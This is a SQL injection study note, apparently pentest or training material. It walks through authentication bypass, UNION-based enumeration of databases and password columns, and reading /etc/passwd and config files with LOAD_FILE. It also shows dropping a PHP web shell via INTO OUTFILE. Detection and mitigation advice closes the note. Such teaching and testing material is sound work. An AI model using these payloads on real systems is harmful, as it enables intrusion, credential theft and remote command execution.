techniques

Overview

SQL Injection (SQLi) occurs when unsanitized user input is interpreted as SQL code by a database, allowing attackers to manipulate queries to bypass authentication, extract data, modify records, or execute commands. It is one of the most common and impactful web vulnerabilities.

Types of SQL Injection

SQL Injection Types

TypeSubtypeDescription
In-BandUnion-BasedOutput of the injected query is returned directly to the page — must specify the exact column position to read from
In-BandError-BasedApplication reflects raw DB/backend errors — force an SQL error that leaks query output in the error message
BlindBoolean-BasedNo output is returned; use conditional SQL logic and observe whether the page’s response changes (e.g., original content vs. blank/error) to infer true/false
BlindTime-BasedNo output and no observable behavior change; use SLEEP() in a conditional so a delayed response confirms a true condition
Out-of-BandNo direct or inferable channel exists; exfiltrate data via a side channel (e.g., a DNS lookup to an attacker-controlled domain)

This note focuses on basic Union-based SQL injection, the most direct and commonly encountered variant.


When To Use

  • Web application takes user input that is used in a database query
  • Login forms, search fields, URL parameters, or any input reflected in a query
  • Application returns database errors or behaves differently based on input

Requirements

  • Target web application with unsanitized input passed to a SQL query
  • Knowledge of basic SQL syntax
  • Optional: SQLMap for automated detection and exploitation

Attack Steps

1. Discovery

Identify input fields that interact with a database — login forms, search fields, URL parameters, cookies. Inject a payload one character at a time and watch for errors or a change in page behavior:

PayloadURL-Encoded
'%27
"%22
#%23
;%3B
)%29

If a quote breaks the page (error, blank response, altered output), the input reaches a query unsanitized. When injecting quotes, either comment out the remainder of the query or balance the quotes so the query stays syntactically valid.

2. Subvert Query Logic

Before reaching for UNION injection, simple queries (e.g., login checks) can often be bypassed by manipulating logic with OR and comments.

OR Injection — Authentication Bypass:

Normal query: SELECT * FROM logins WHERE username='admin' AND password='p@ssw0rd';

Because AND binds tighter than OR, injecting a condition that is always true into either field causes the whole WHERE clause to evaluate true regardless of the other field:

Injected username: admin' OR '1'='1SELECT * FROM logins WHERE username='admin' OR '1'='1' AND password='wrong'; The AND clause fails, but '1'='1' on the left of OR is true, so the row still returns.

If the username is unknown, inject the always-true condition into the password field instead: something' OR '1'='1 as the password bypasses auth without needing a valid username.

Using Comments: MySQL supports -- (requires a trailing space, often URL-encoded as --+) and # (%23 encoded) as line comments — everything after is ignored by the parser. Commenting out the rest of the query avoids needing to balance quotes:

admin'-- as the username comments out the password check entirely → SELECT * FROM logins WHERE username='admin'-- ' AND password='...';

Using Parenthesis: Some queries wrap conditions in parenthesis that must also be closed before the comment takes effect, e.g. SELECT * FROM logins WHERE (username='<user>' AND id > 1) AND password='<hash>' requires admin')-- to close the parenthesis before commenting out the rest.

3. UNION-Based Injection — Detect Column Count

A UNION SELECT only succeeds if it selects the same number of columns as the original query. Two methods to find the count:

  • ORDER BY — inject ORDER BY 1, ORDER BY 2, etc., incrementing until an error (“Unknown column”) appears; the last successful number is the column count
  • UNION — inject ' UNION SELECT 1,2,3-- and increase or decrease the column count until the query succeeds instead of erroring

4. Locate the Injection Point

The original query may return more columns than the page actually displays. Note which injected column values (e.g., 2, 3, 4) actually render on the page — those are the positions to place extracted data in. Test with @@version in a displayed position to confirm the database is actually reachable through that column before extracting real data.

5. Fingerprint the DBMS

Confirm the specific database engine before writing enumeration queries — syntax differs across MySQL, MSSQL, PostgreSQL, etc.

PayloadWhen to UseExpected Output (MySQL/MariaDB)
SELECT @@versionFull query output visibleVersion string, e.g. 10.3.22-MariaDB-1ubuntu1
SELECT POW(1,1)Only numeric output visible1 — errors on other DBMSes
SELECT SLEEP(5)Blind / no outputDelays response 5 seconds, returns 0

6. Enumerate the Database via INFORMATION_SCHEMA

INFORMATION_SCHEMA is a standard metadata database present on the server that describes every other database, table, and column — reference it with a . since it isn’t the currently selected database.

  • List databases: ' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- (ignore the default mysql, information_schema, performance_schema, sys entries)
  • List tables in a database: ' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='<database_name>'--
  • List columns in a table: ' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='<table_name>'--
  • Dump the data: ' UNION SELECT 1,username,password,4 FROM <database_name>.<table_name>--

7. Read Files via SQL Injection

Reading is far more common than writing since it requires fewer privileges. In MySQL/MariaDB the DB user needs the FILE privilege.

  • Check privileges: SELECT super_priv FROM mysql.user or ' UNION SELECT 1,grantee,privilege_type,4 FROM information_schema.user_privileges--
  • Read a file with LOAD_FILE(): ' UNION SELECT 1,LOAD_FILE("/etc/passwd"),3,4--
  • Source code disclosure works the same way, e.g. LOAD_FILE("/var/www/html/config.php") — if the result renders as HTML, view page source (Ctrl+U) to see the raw output
  • The OS user running the database process must also have read permission on the target file

8. Write Files via SQL Injection

Writing is far more restricted since it can be used to drop a web shell. All three must be true:

  • The DB user has the FILE privilege
  • secure_file_priv is not restrictive — empty allows writing anywhere, a path restricts writes to that directory, NULL disables file I/O entirely (check via ' UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables WHERE variable_name="secure_file_priv"-- )
  • The DB process has write access to the target path on disk

Write with INTO OUTFILE: ' UNION SELECT 1,"file written successfully!",3,4 INTO OUTFILE '/var/www/html/proof.txt'--

To drop a web shell, first identify the web root (via LOAD_FILE() on the server’s config — /etc/apache2/apache2.conf, /etc/nginx/nginx.conf, or IIS’s ApplicationHost.config — or by fuzzing common web root paths), then write a minimal PHP shell:

' UNION SELECT 1,"<?php system($_REQUEST[0]); ?>",3,4 INTO OUTFILE '/var/www/html/shell.php'--

Execute commands via the dropped shell: /shell.php?0=id

9. Automate

Escalate manual findings with SQLMap for full automated enumeration and exploitation once a working injection point is confirmed.


Detection

  • Unexpected SQL error messages in application responses
  • Anomalous database queries in application or server logs
  • WAF alerts triggered by SQL syntax in input fields
  • Unusual authentication patterns or access to unauthorized records

Mitigation

  • Use parameterized queries / prepared statements — never concatenate user input into SQL
  • Implement input validation and sanitization
  • Deploy a WAF to filter malicious input
  • Apply principle of least privilege to database accounts — create scoped, read-only application users rather than connecting as an admin/root account: CREATE USER 'reader'@'localhost'; GRANT SELECT ON <database>.<table> TO 'reader'@'localhost';
  • Disable verbose database error messages in production


References / Images